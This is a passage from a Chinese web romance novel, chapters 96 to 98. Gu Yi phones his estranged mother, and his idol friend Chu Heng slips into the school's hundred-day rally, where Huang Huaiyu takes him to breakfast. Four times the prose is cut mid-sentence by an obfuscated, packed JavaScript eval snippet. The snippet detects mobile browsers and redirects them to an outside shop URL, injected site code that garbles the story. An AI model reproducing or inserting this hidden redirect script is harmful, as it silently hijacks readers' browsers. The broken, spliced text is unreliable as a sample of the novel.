书桌上方的白色墙壁微微掉皮,再往上贴满了各种各样的明星球队海报,五颜六色贴了满墙。 花里胡哨的海报贴到了中段就没了,再往右边,贴的全都是一些小小的白色字条,窄窄长长的一长列,从上到下一条一条排列着,一共有两列。 他转头从书包里抽出刚刚才出来的2月份的全班月考成绩表,又拿起桌上的一把剪刀,开始低着头慢条斯理小心翼翼地裁。 ——直到把他的那一条成绩全部裁完,他涂上胶水贴在了第一列的最下面。 紧接着,又开始裁苏琬的。 他高大的身躯缩在小小的凳子上,整个人团在一起,头凑到了桌上认真看纸张的边缘,右手一点一点极为小心地用剪刀剪着。 他看上去完全不擅长这种细心的巧活,整个人都透着一股笨拙。好不容易把苏琬的成绩也裁下来了,谷奕终于松了一口气,小心翼翼地贴在了第二列的最下方。 行,这下满意了。 他顺手拿起桌上一支 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13699703|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很旧的粉色梦想笔,心情很好地转了两下。 ——好像,离她越来越近了吧? 她说她想去江城大学法学院。 谷奕其实对任何一个城市都没有什么特别的感觉。 从他能够记事开始,他就跟着他妈四处走了。以前他妈还没有发家,他跟着住过江浙沪小城市潮湿低矮的楼房,跟着三户人家一起共用一个卫生间。 后来他妈生意越来越好,他跟着搬去了魔都,住的别墅也越来越大。 再后来上初中了,一无聊就买张机票去帝都找楚恒打游戏,或者背上望远镜去草原看星星,再或者拿着护照满世界跑。 再后来……就是被发配到这个穷乡僻壤的云省,十八线城市的楚门,住着上床下桌的高中集体四人寝。 他习惯了漂泊,在哪住都是住,他没有任何皈依感,只要有张卡哪里都是家。 江城? 他更加没有任何印象。只是偶尔听杯姐说,和楚门离得很近,夏天比楚门更热,冬天比楚门更冷,气候说难听点就是不适宜人类居住。从来没去过,也从来没有欲望,更加不认识一个本地人。 ——但是,苏琬说她想去江城大学法学院。 那,他也去吧。 谷奕还没有做梦梦到自己可以上江大。知名985,苏琬花了十二年才走到今天,就算他从现在开始废寝忘食地努力,上江大对他来说也是天方夜谭。 ——只是,大学四年在同一所城市,这,还是可以幻想一下的吧? 和她一起踏进高考的考场,两个月以后再一起去江城读四年的大学。好像一想到这里,江城这个遥远的、陌生的、丝毫让他没有任何了解欲望和归属感的城市,也一下子变得和蔼可亲了。 * 晚上十点多,电话接通了。 对面的声音听起来有些疲惫,似乎才刚刚结束一场会议。 谷奕突然不知道该说些什么,抬起头,看到墙上贴着的成绩表,才突然找到话题: “……这次月考,我考了年级75名。” 他还怕对面不明白这个数字的意义,特地补充道:“全年级文科生250个人,我是75名。” 想了想,最后又加上一句,“下次考试可以去第二考场。” 对面沉默两秒,很快反应过来。 “嗯。每次考试的成绩单,马老师都会发给我。” “……” 谷奕有些结巴了。 是啊,她和马辉是老熟人了,有任何消息她都是第一个知道的。这也就是为什么即使10月份在医院里的时候,即使他们两个月不联系,她也可以对他的境况了解得清清楚楚吧。 刚刚那些所有的解释和说明好像都变得多余起来,像是没长大的小孩在外面赢了一根棒棒糖就回来邀功。 谷奕不说话了,心情有些差。 “……”对面却好像很快就能察觉出这两秒谷奕的情绪转变,突然开口说道,“这个成绩,很出乎我的意料。” 谷奕一下子抓紧了手机,心头微微颤动。 “也许……”谷玉的声音在手机那端响起,“我当年阴差阳错送你去楚门的决定,真的是正确的。” 96. 第 96 章 谷奕说不上来现在的自己的是什么心情。 他从没想过,自己还能像这样心平气和地跟谷玉坐下来,打这样一通电话。 …… 谷玉工作太忙了。 对于他来说,小时候对于“妈妈”的记忆,甚至都不如对保姆阿姨的记忆来的深刻。 “谷奕,为什么每次开家长会,都是你阿姨来啊?” “你妈你爸呢?” 那个时候的谷奕没法回答小学同学的话。因为他自己都想不明白这个问题。 ——比如,女人和男人如果最后会离婚,那为什么当初又要结婚? ——比如,为什么别人家的妈妈爸爸都在一起生活,但是他的爸爸却早就已经有了一个别的家? 孩童之间稚嫩的言语无心却伤人,看见学校门口一到放学时间段就站的满满全是正在等候的家长时,他只能转头避开,因为他知道那群人里一定没有人在等他。 空荡的别墅,不开灯就一片漆黑的大房子,冷冰冰的楼梯扶手,永远作为下级佣人待命的司机和保姆——这个世界怎么能指望十岁不到的谷奕对这所有成年人梦寐以求的东西有任何欲望呢?他不过是哈洛实验里的一只恒河猴,想要布料,想要依恋,想要落在头顶的一只母亲的手。 青春期来得汹涌澎湃,他的个子越蹿越高,他的声音越变越低,他对这个世界烦躁无比。 街头无所事事的闲逛的时候,他居然看见街角的咖啡店里,自己的母亲正笑着接受对面一个年轻男人喂过来的咖啡。 那一刻好像世界破碎了,他隐隐约约感觉到,从小到现在的那个对于家庭的执念,好像都是毁在了这段看一眼就已经能够确认的“婚外情”这里。 谷奕不知道这男人和他妈妈什么时候开始的,他也不想知道这些事情的时间线。他只是执着地想为这所有的事情找到一个解释的源头——哦,是因为母亲变心了,所以她和爸爸才离婚了,所以他才没有家了。 对于13岁的谷奕而言,这条逻辑链十分顺畅而合理。他攥紧拳头站在街边一动不动,死死地盯着咖啡店里那两人的身影,他想,他讨厌谷玉。 无休止的争吵,冷漠的战争,互不理解的误会……都在谷玉突然说要送他出国的那一瞬间爆发得更严重了。 他讨厌英语,讨厌陌生,讨厌富二代留学圈子里每天都在叽叽喳喳的那些庸俗烂事,也讨厌谷玉用世俗规定的无聊环境把自己狠狠框住。 “我给你两个选择,要么出国,要么给我滚回楚门去参加高考!” 谷奕觉得,他应该是全世界最经不起激将的人。 ——“有什么不敢的!” …… 有什么不敢的? 有什么不敢的? 他确实敢。 太阳落了又升,星星亮了又暗,白驹过隙世事轮转,他一步一步跟着前方两个女孩的背影和脚印,在楚门走过了六个月,跳了一百二十次《雏鹰起飞》,做了三百五十张卷子。 被苏琬安排做题九十次,被黄怀予叫大傻一百五十次。 被苏琬摸头三次,和黄怀予一起喝奶茶八十六次。 一个人要多久可以养成一个习惯?谷奕不喜欢去研究理论,他只是在教室外传来的新图书馆施工的噪声里,偶尔会想到,这栋图书馆是他妈捐的。 “也许……我当年阴差阳错送你去楚门的决定,真的是正确的。” 谷奕不知道“正确”的定义,也许在他妈眼里,只要他不叛逆了就是“正确”的了。 他只知道,他妈促成了这所有事的发生,而他对现在生活里的一切,都感到幸福和珍视。 ——这是不是就够了? 十九岁的谷奕独自坐在寝室里,拿着电话,头一次如此努力地探索着复杂纠结的亲子关系。他自问,对于他和谷玉而言,也许能够心平气和地坐下来,打上这样一通电话,就已经能够说明一些本质的转变了。 他终于长舒一口气。 “你2月27号那天有空吗?” …… 对面的人没有问“什么事”,而是思考两秒,直接说,“你等一下。” 过了十秒钟,她的声音又从电话里传出来。 “不一定有,上午有项目会议,时间暂定。” “……哦,我是想说,那天上午我们学校要开——” “你等等。” 对方似乎被什么打断,电话里再次没有了声音,只剩下手指敲击键盘的哒哒声。 两分钟后,对面再次回来,说,“你继续吧。” “哦。我,我是说,那天上午我们学校有百日誓师大会,就是,离高考还有一百天的一个动员大会,家长和学生一起参加的。” 他有些结巴地说完,等了两秒,话里带着试探,“你可以来吗。” 对面又没有了声音。 键盘声再次响起。 谷奕听着,心也跟着一点点沉了下去。 手机里停顿的声音越久,他的心就下沉得越厉害。 不知道到底等了多久,也不知道对面的人到底和自己的员工协调了多久,谷奕终于放弃般:“那就算了——” “可以。” ! 他以为自己听错了。 “这场会必须在当天开完,我刚刚让助理把会议调到了下午,形式变成了线上。只是3月1号我还要在魔都出席活动,所以2月28号我必须回来。” “……”谷奕张着嘴,半天才反应过来,发自内心地笑了。 “好。你到了和我说,我到时候去学校门口接你。” * 2月27日,楚门一中百日誓师大会。 上午十点将在操场举办高三百日誓师大会,高三全体学生和家长都将一起参加。 今天楚门一中门口非常热闹,往日里一直紧闭的校门此时却大开,人来人往,进进出出。 上午八点五十,谷奕已经站到了学校门口。 ——他在等楚恒。 几天前,谷奕没想到楚恒会主动给他发消息。 谷奕只当他是压力太大,在电话里大骂了几句新娱公司不做事,就一口答应了百日誓师那天去学校门口接他。 自己兄弟平时本来就内向话少,难得提个要求,他还能不满足? …… 上午九点,谷奕远远就看见楚恒顺着墙边慢慢朝自己走来。 他戴了白色口罩,穿了一件卡其色外套和白色长裤,乌黑的头发简单但认真地打理过,整个人修长挺拔,即使脸几乎被口罩遮得完完全全,但是182的身高也在人群中极其显眼。 “哥们儿!” 谷奕兴奋地跑过去,用力拍拍他的肩。 他很少见到楚恒穿白色。以前初中去帝都找他玩的时候,偶尔楚恒还会穿这种清淡的颜色。自从当了练习生出道以后,性格越来越沉默,穿的衣服也都是深色,衬得沉闷无比。 ——只是今天,楚恒全身都是浅色,黑色头发柔软蓬松,简简单单一身却显得整个人阳光清爽,和楚门一中周围青春的氛围似乎融为一体。 “你把头发染黑了?” “不是说公司要求金色吗?你现在可以自己选了?” 眼前许久未见的朋友低头两秒,又抬起头,那双眼睛看向虚无飘渺的远方,像是做出了什么决定。 “算是吧。” …… 谷奕勾着楚恒的肩膀,刚想走进学校,却下一秒被门口的保安拦住了。 “没穿校服?”保安怀疑地盯了一眼楚恒。 谷奕一下子有点慌。学校其实不强制穿校服,所以他和杯姐经常不穿。更别说今天是校园开放日,校外人都进进出出,怎么会现在查校服? 保安抬头,一直盯着包裹严实、只露出一双眼睛的楚恒,终于怀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13707519|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 疑地问出了真正想问的事。 “你是一中的学生吗?” “当然了,我同班同学。”谷奕跟杯姐待久了,谎话张口就来。 “哪个班的?” “301班。” “班主任是谁?” 谷奕刚准备接话,就被保安打断:“没问你。” 他转向旁边的楚恒:“你们301班班主任是谁?” …… 谷奕心里一跳。 保安其实不是没事找事。今天虽然是百日誓师校园开放日,但是领导之前特地交代过,之前隔壁某市初中发生过开放日被犯罪分子闯进学校持刀行凶的例子。因此领导三令五申,一定要眼睛亮堂,不能放可疑人士进来。 他在学校里干了十几年,每天看进进出出的学生早就脸熟了,学生的气质都很明显,甚至能只看脸就分辨出高一、高二和高三。 但是走进过社会的人,就算努力往学生身上打扮,也绝对回不到这种小城市省重点公立高中学生身上那种天真稚嫩中带点死气沉沉的样子。 就像他之前可以一眼看出来,被黄怀予带进来的李鸣月不是学生;他现在也能一眼看出来,眼前这个外形十分突出的男生也不是学生。 脸遮得严严实实,个子很高,瘦瘦高高的,肩宽腿长,普通的夹克长裤穿在身上也显得好看,全身上下只露出一双眼睛。 ——太帅了,跟周围因为每天学习考试而灰头土脸的高中生完全不一样。 如果说谷奕这种运动阳光型男生还可以勉强归到长得帅外形出众的体育生那个范畴,但是眼前这个人,完全无法归进去。 他审视地看着楚恒。 谷奕心里一跳,条件反射就看楚恒,不自觉开始变得紧张。 ——却见楚恒淡淡开口: “马辉。政治老师。” ! 谷奕松了一口气。一定是因为自己刚来楚门的时候每天和楚恒打电话唠嗑,他才记得班主任的名字! 他记忆力可真好啊,大半年过去了居然还记得。谷奕心想。 保安已经松动了一些。他已经能够看出来,眼前这男生一定不是一中的学生,但是也绝对不是坏人。 他又问,语气已经和缓很多: “你们教室在哪?” 谷奕又慌了。这个问题他绝对没有和楚恒讲过,太细节了! 却见楚恒眨眨眼,平静说: “一号教学楼的五楼。” !!! 谷奕惊呆。 …… 保安这下已经确定可以放对方进去了。只是——他手偷偷指着校门口上方的摄像头,轻声对谷奕说: “给他找一件校服,穿着,就可以进去了。这样我好交差,上面领导要检查的。” 嗯? 谷奕看了看已经穿在自己身上的校服。 除了他自己的,还能去哪找校服? 楚门一中不强制穿校服,但是一般大部分人都会主动穿,大家都觉得方便,不用考虑穿搭,节省时间,有强烈的安全感。 ——除了,那一位。 谷奕眼睛一亮,一下子就知道该去哪里给楚恒找校服了。 他把楚恒拉到校门口旁边的亭子边,嘱咐他在这里等着,然后转身就立刻往校园里跑去。没过多久,他就回来了,高大的身影微微喘气,拿着一件校服外套,递给楚恒。 “……” 楚恒以为是班上某个男生的,直到穿上身才发现,有些小,这个尺寸完全不像是男生的衣服。 他心念一动,微微低头,白皙瘦削的手指划过衣领,鼻间突然嗅到一股很熟悉的味道。 淡淡的橙子香气,清爽好闻,像阳光下刚刚洗过的水果,新鲜透亮。 ——他骤然僵住。 “……这衣服是谁的。” “杯姐的。”谷奕毫不在意地回答。 97. 第 97 章 “杯姐的。” 谷奕毫不在意地回答。 “她几乎从来不穿校服,每天都穿自己的衣服,五颜六色的。这件校服就一直塞在她抽屉里,只有必须要穿校服的场合才会套上。” …… 那清爽好闻的橙子香气随着衣服穿上身而把楚恒整个人包裹了起来,像是有生命一般钻进鼻腔。 他只觉得自己有些颤抖。 楚恒垂下睫毛,站着不动,捏紧拳头。 修长的手指突然轻柔地抚上了校服上银色的拉链,然后慢慢、慢慢地拉了上来。 * 谷奕看了看时间,已经快要九点半了。 他和他妈约的就是九点半。所以在把楚恒带进学校以后,就急急忙忙说自己有事要先走,让楚恒自己先逛逛,等会百日誓师开始了就去操场上301班的队伍最后找他。 谷奕走了。 楚恒一个人站在楚门一中的校园里,一号教学楼前的广场上。 今天是校园开放日,周围到处都是来来往往的学生,挽着手三五成群,说笑着慢悠悠地走过。 形形色色的人经过又离开,像是变换的流云,他独自一人站在正中间,太阳光像希区柯克变焦一样让整个世界变得迷离,他好像也终于融入进了周围千千万的高中生群体里。 从来没有来过的学校,从来没有踏上过的土地。所有人都很生动,很活泼,偶尔的娱乐活动成为高三生为数不多的快乐时间,大家朴素的脸上都洋溢着愉悦天真的笑容。 ——阳光洒在脸上,楚恒那一刻突然才意识到,其实他和这些人,是同龄人。 可是他们,却生活在完全不同的世界里。他早已远离单纯的校园,他的世界里没有同辈群体,没有知心朋友,只有等级森严的练习生体系,过不了就淘汰回家的残酷考核,垃圾桶里吃了一半的鸡胸肉沙拉,镜头内外全然不同的灰色面具。 虚幻的掌声和奚落声一样铺天盖地,他穿着校服看着世界从他身边毫不留情地旋转而过,他好像融入了,却依然突出而显眼。 校服和口罩像是他的伪装皮层,脱下了以后,他还是洪流中的石头,海洋里的冰山,亿万年也无法消解,世界上没有他的容身之所。 “同学,你要花吗?” 一道清脆的女声叫住了他。 那女生坐在教学楼前的桌子边,桌前摆着一大堆花。 ——楚恒这才发现,好像周围所有人手上都拿着一枝黄色的鲜艳的花朵,娇艳欲滴,热烈明亮。 “每个人都可以拿一枝,等誓师大会开始的时候,最后的环节是把花送给自己的家长!” 楚恒身后不远处,一个短发女生也走在人群里。 ——黄怀予穿了一件绿色的卫衣,站在桌子边,和桌边负责发花的女生聊得甚是开心。 周围的人流旋旋转转断断续续,像是溪流又像是乱码。 少女少男就这样不远不近地站着。 两个人背对背隐匿在涌动的溪流里,像是宇宙中量子纠缠的两颗粒子,不管如何分离,最后却一定会在茫茫中绑定。 …… 黄怀予没想到一个认识的高二学妹居然正在教学楼下的桌子前坐着,桌上还摆满了鲜黄色的花。 “这是什么花啊?” “太阳花!代表热情勇敢。” 黄怀予笑了,她觉得这花特别好看,鲜艳又明亮,像是飞扬的火焰。 她拿了一枝,和两个学妹告别。 才刚一转头,却一下子就在人群中看到了一个极其熟悉的身影。 ……她一下子呆住。 两双眼睛对视上的那一瞬间好像世界都变得安静。 风声丝丝缕缕,楚门二月底的太阳温暖明亮,整个世界都变身蒙太奇,飘飘渺渺如堕梦幻,黄怀予只觉得她好像已经丧失了所有感官。 喧闹的人群,微冷的冬风,萧索的树枝,和煦的阳光。 溪流涌动,乱码纠缠,少女少男站在楚门湿润黏泽的土地上,也像两人手里拿着的花一样,在这宇宙间缠绕包裹着生长。 …… 在那一瞬间,黄怀予是以为自己看错了的。 她下意识觉得这不是真的,因为她一直以来就是一个运气很差的人。这个世界好像不会对她这么好,因为她连做梦都没有做过什么美梦。 她回头望了望。 又低下头,用力揉揉眼睛。 再睁开眼。 ——还是他。 戴着口罩,头发颜色变了,穿着一中校服,整个人都遮得严严实实,没有一点点那个人以前的影子。 ——可是就算只有那双眼睛,她怎么可能看错。 他目光灼灼,那双眼睛直勾勾地盯着自己,突然拿着花,迈开长腿,一步步朝她走来。 “楚老师……” 越来越近的身躯带来强烈的压迫感,她张着嘴喃喃。 “嗯。” 他眸底晦暗,情绪沉沉,像深不见底的海洋。 “是我。” …… 黄怀予张了张嘴,终于找回了一丝神智,“你怎么会在这里?” 话刚说出口,她立刻就想到了什么,“谷奕带你来的?” “你……你怎么还穿着我们学校的校服?”黄怀予盯着他身上的衣服看了几秒,“这是谁的?” 她一下子问了三个问题,楚恒眸光一闪,没回答,静静地看着她。 黄怀予没注意到他的表情,只是左右环顾了一下他身上的校服,嘟囔了两句,“谷奕的校服吧?他那么高,怎么穿你身上有点小?” “……” “哎?他人呢?你怎么一个人站在这里?” 楚恒还在思考怎么回答,下一秒却被周围经过的人不小心撞了一下。撞得不重,完全没有影响,但是他动作顿了一下,下一秒高瘦的身躯就往前踉跄了两步。 “哎小心!” 黄怀予看见楚恒一个人孤零零地站在人群里,一个认识的人都没有,瘦削单薄的身体被人撞倒又踉跄两步,整个人都泛着一股萧索和茫然,一下子同情心泛起,迅速拉起他的手臂。 “我带你去找他。” 少女的手隔着几层衣服布料贴上来,握住他的小臂。 楚恒低头,脚下乖顺地跟着她拉的力道往前走,眼睛却一眨不眨地盯着她拉住自己的手。 黄怀予一直把人拉到教学楼大门边,这里人少不会被人撞倒。她放开楚恒的手臂,转头就掏出手机打电话,可是对面谷奕没接。 她有点生气,这人怎么这么不靠谱呢? 有朋自远方来不亦乐乎,人家从帝都这么老远来一趟,就这么把人家抛在陌生人群里一个人孤零零地被人撞? 她还记得刚刚在人群里遥遥望见楚恒的那一幕,他就一个人单薄地站在人群里,戴着口罩,拿着花,像是马上就要飞走了的一片羽毛,似乎完全不属于这里。 ……她一下子油然升起一股本地人的东道主本能,更同情了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13720003|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你什么时候来的楚门?” 楚恒低头看着她,“昨天。” 她看看手机上的时间,“吃早饭了吗?” “没有。” 黄怀予更心软了,“我带你去吃。” 说完,又补充道:“不,我请你吃!” …… 黄怀予带他走去食堂。 一号教学楼到食堂之间的距离并不远,黄怀予自觉要替谷奕担当起楚门一中导游的角色,于是一路上都给楚恒介绍路过的建筑。 “这是图书馆,不过平时都不开的。” “这是二号楼,现在是高二的教学楼。” “前面是小卖部,但是卖的特别贵!一包辣条居然……” ——“要五块钱。” 一道低沉清润的声音骤然打断她的话,黄怀予十分惊讶地转头看他,“你怎么知道!” 她又想到什么,张着嘴,“谷奕连这个都跟你讲?” “他也太嘴碎了吧!你都不嫌他烦的?” …… 一路上有许多人都来和黄怀予打招呼。 她穿着一件短款嫩绿色的卫衣,个子高挑,脚步轻快,笑容灿烂,和所有迎面遇见的人都笑着打招呼,看上去和所有人都关系很好。 有人问你们的花是从哪里来的?黄怀予立刻热心地回头给她们指路去领花。 “杯子!” 她回头,发现是杨捷。杨捷旁边站着一个中年女人,应该是她妈妈。 “妈妈,这是黄怀予!” 杨母立刻高兴起来,夸黄怀予成绩好,虽然没见过也久闻大名,你家长肯定不用操心你的成绩。黄怀予立刻喊阿姨好,随便说了几句漂亮话就把杨母逗得很开心。 就在这时,杨捷注意到了一旁的楚恒。 他身姿挺拔,微微颔首,“阿姨好。” 杨捷看呆了,学校什么时候来了这种等级的帅哥?戴着口罩都能看出来的帅! 她偷偷凑到黄怀予面前,“这是……” “我弟!” 黄怀予反应极快。 “你还有个弟弟?”杨捷疑惑,“以前没听你提起过。还穿着校服,也是一中的?” “高二的。”黄怀予信誓旦旦,笑着说。 …… 杨捷和她妈妈走了。 黄怀予刚松口气,突然感觉到头顶有一道灼热的视线一直盯着自己不放,一抬头就撞见楚恒露出来的那双眼睛。他眉头微微地皱起来,原本上扬的眼尾现在却有些委屈地下垂。 “……弟弟?” 两个字清晰地吐出来,带了点摩挲的意味。 黄怀予这才发现,他往旁边走了一步,高大的身影直接挡在她面前,定定地望着她,似乎是在要一个说法。 黄怀予一慌。 她模模糊糊地意识到,楚恒生气应该是因为,自己明明比她大,突然被说成弟弟好像低人一等。 “……我知道你很急,但你先别急。” 她干笑两声,“不好意思,我平时胡说八道太熟练了,扯个谎张口就来。” 她后知后觉地发现,自己都没问过楚恒能不能暴露身份,就直接先斩后奏地默认撒了一个十分镇定的谎,而且逻辑上完全都说得通。 “但是我这是为了你着想。” “你今天还是就用我弟的身份吧,免得给你惹上麻烦。” 她又踮起脚尖,凑到他肩膀处,笑得很是神秘,“娱乐圈的道上规矩,私人行程要低调!我懂!” 98. 第 98 章 黄怀予直接把楚恒带到了人比较少的食堂二楼。 今天开放日,现在又已经上午九点半了,要吃东西的人都直接去校外了,这里完全没什么人。以防万一,她又在二楼找了一个僻静的角落,周围一个人都没有。 她左右看看,像是做贼一样把楚恒拉过来,多番确认附近不会有人看到,才松口气。 “想吃什么?我去买。你在这坐着。” 眼见楚恒又一言不发地掏出手机,黄怀予眼疾手快一把按住他的手。 “我请客!不准给我转账!” 她的手动作极快,一下子抓住了他的手腕。 皮肤相触的那一刻,黄怀予就感受到手下那人立刻僵硬起来,整个人的动作都停住,一动不动。 !等会,他好像不喜欢别人碰他吧? 黄怀予脑子里骤然蹦出一段两人第一次见面的回忆。 她捂着肚子上出租车,不小心碰了一下旁边的楚恒,他立刻冷着脸后退两米,好像她是什么脏东西一样,脸色极其冰冷。 “哦!……不好意思。” 她一惊,马上收回手,尴尬地干笑。 “我不是故意的。你要不要湿纸巾擦一下?我正好下去帮你买包湿纸巾一起带上来。” “……” 黄怀予看见楚恒低着头,浑身僵硬地保持那个被她碰到的姿势起码有三秒钟。 然后似乎才反应过来她刚刚说了什么话,缓缓地抬起头,一瞬不瞬地盯着她看。 想要解释,似乎又不知道从何说起,过了半晌,才重新低下头,闷闷地开口,声音里有些受伤和挫败。 “……不用。” 黄怀予点点头,也没在意。 “要不吃热干面吧?今天正好人少,不用排队。” 她看向楚恒,他低着头,像是还在想刚刚她不小心碰到他的事情,整个人有些沉闷,“嗯。” 好吧。这人还有点小心眼,她也不是故意的啊! ……不过,放在楚恒身上也合理吧。他每天都一副阴郁样子,看上去就像有点心理疾病的,所以有洁癖也很正常。 黄怀予觉得应该尊重病患和人家的生活习惯,于是立刻转身下楼在小卖部里买了一包酒精湿巾,又去买了早餐回来。 把东西全部兴冲冲摆到他面前,又把那包酒精湿巾也朝他特地推了推。 楚恒看见眼前被她特地推过来的酒精湿巾,眉头微微一皱,摘下口罩,望着她。 ——可是还没说话就被黄怀予兴奋的声音打断: “快吃!” “热干面要快点拌开!” “干了就完了!” “……”楚恒想说的话卡在喉间。 “我帮你。”黄怀予看他半天都不动,猜他不会,直接二话不说就拿过来帮他拌。 芝麻酱的香气混着白色热热的水雾慢悠悠从面里飘散出来,缓缓隔在两人之间,少女的脸也在丝丝缕缕的白气里变得模糊。 她很看重食物,从小如此,家庭教育氛围如此。再大的事情也不过一顿饭,一日三餐口腹之欲等于一切,等于人生所有意义。食物的香气扑到脸上,才能大脑空白地感受到自己正在生活。 “先吃饭。”这是她从小到大外婆外公对她说过的最多的一句话。 没有什么精神力量,也不懂任何艺术文明,一顿好吃的饭已经是所能获取的最基础也是最本质的中断与回归——中断烦恼和痛苦,回归自然和感受。 隔着丝丝缕缕的白色雾气,她把拌好的面推到他面前,笑眯眯地捧着脸,神采奕奕地看他,亮晶晶的瞳孔像水下刚洗过的葡萄。 “楚恒。” 她第一次这么叫他,尾音拖着长长的娇俏的声调。 “很好吃的哦。” …… 楚恒在那一秒清清楚楚地听见了自己的心跳声。 他喉结上下滚动,那双眼睛定定地看着她,漆黑的眸子却像淬了火。 他想,他只是被生命所诱惑。 “好。” 他半晌才出声,声音沉沉。可是手上依然没有动作,只是那样盯着她看。 黄怀予见他嘴上答应,可是却还是不动,那双眼睛乌沉沉地看着自己,以为他还在纠结刚刚洁癖的事,干脆把那包酒精湿巾极其贴心地拆开,放他面前。 这下,楚恒终于有了别的反应。 他垂眸看着那包湿巾,薄唇动了动,却又像想到了什么,抬眸,神色未变。 “帮我擦。” 一只冷白修长、指骨突出的手伸到了她面前,青色的血管在有力的小臂上缠绕,像是延绵起伏的山脉。 “可以吗。” 他嗓音好听,眸光闪闪。 …… 黄怀予有些呆滞地躲开他那双简直称得上潋滟勾人的桃花眼,把一句“为什么你不自己擦”给咽了回去。 东道主的地主之谊包括请客人吃饭,但是包括给客人擦手吗? 黄怀予脑子还没想明白这个问题,手就已经自觉去拿起了那包湿巾。 冰凉的柔软的纺步触感,一丝丝不明显的酒精味道,她手指捏着湿巾一角,回忆着刚才碰到楚恒的手腕的地方,一下一下地擦着。 想到他的洁癖,她擦得更认真了,低着头在什么也没有的皮肤上一遍一遍轻轻擦。 ……擦到这种程度,对洁癖来说应该可以了吧? 她不确定地看楚恒一眼,果然就对上那双灼灼的眸子。 她下意识觉得这是不够的意思,于是继续低下头,从手腕一点点擦到了手掌。 黄怀予个子高,四肢长,手在女生里也算大的。但是此时她低着头认真观察下才发现,楚恒的手比她还要大出一大半。 男人坦诚地在她手下露出白皙的掌心,手指瘦削修长,指甲修剪得圆润干净,青色的细细的血管在掌心跳动。 她捏着湿巾给他擦手掌,如果他此时此刻握拳,就可以把她的手完完全全包起来。 …… 黄怀予为了让某位洁癖患者有一个较好的就餐体验,低头擦得很认真。 从手腕到掌心,从掌心到手指。冰冰凉凉,轻轻柔柔,湿巾被折成小角,一点点擦过男人的皮肤,留下一串透明的看不见的湿润。 她低着头,偶尔有热热的呼吸喷洒在他的手掌心,像是对经历了冰凉触感后的掌心敏感皮肤的慰藉,在皮肤上激起一小串细小的涟漪,却又立刻消失,无处寻踪。 这下总行了吧? 黄怀予左看右看,觉得差不多了,把湿巾往旁边桌上一放,满意地抬头,就正好撞上一双毫不躲闪的炽热视线——那双往日里一向冷淡的眸子此时此刻却像燃着熊熊烈焰,涌动着滚烫的暗流。 她这才发现,楚恒似乎呼吸也变得越来越重,眼神里满是不清明的情绪。 “……” 看着黄怀予擦完把湿巾放在一边,他终于缓慢地眨眨眼,胸膛静静起伏,收拢了拳头。 手腕上青筋鼓起,他垂下眼眸,瞳孔里燃烧的野性被纤长浓密的睫毛遮住,像是在平复什么心绪。 几秒后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13724502|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他拿起筷子,一口一口吃起了那碗只用看一眼就知道热量很高的面。 他吃得很慢。 慢条斯理,睫毛垂下,前额黑发随着他的动作遮盖住眉毛,看上去十分乖顺听话,像一只幼年狗狗,好像刚刚那个充满侵略性的眼神和粗重的呼吸声只是黄怀予的错觉。 …… 两人吃完,走出食堂。 楚恒重新戴上了口罩。食堂门口已经没什么人了,大部分都在朝着操场的方向走去,三三两两都和自己的家长在一起。 黄怀予打了个哈欠,下一秒就听见头顶传来那人低沉的声音。 “不用去找你的父母吗。” 她摇摇头。 “不用,我外婆等会才来。她腰不好,我让她晚点出门,慢慢从家里走过来。” “现在仪式没开始,她来了也没地方坐。等会仪式正式开始了,操场上摆好凳子了,她再到学校,我再去接她,这样她一到学校就可以直接去操场上坐着了。” 黄怀予很是得意。 “我聪明吧?” 头顶传来一声那人的轻笑声。 “你的花,是要送给你外婆吗。” “对呀。”黄怀予甩着手里鲜艳的太阳花,“大家都是送给自己家人的。” “那我的花,送给谁呢。” 黄怀予一愣,抬头,看见楚恒低头,他修长手指之间,夹着一枝花。 “我的家人,都在帝都。不在这里。” 这句话只是一句再简单不过的事实陈述,实际上楚恒家庭和睦,父母和谐,很少出现矛盾与冲突,在帝都本地算得上中产。 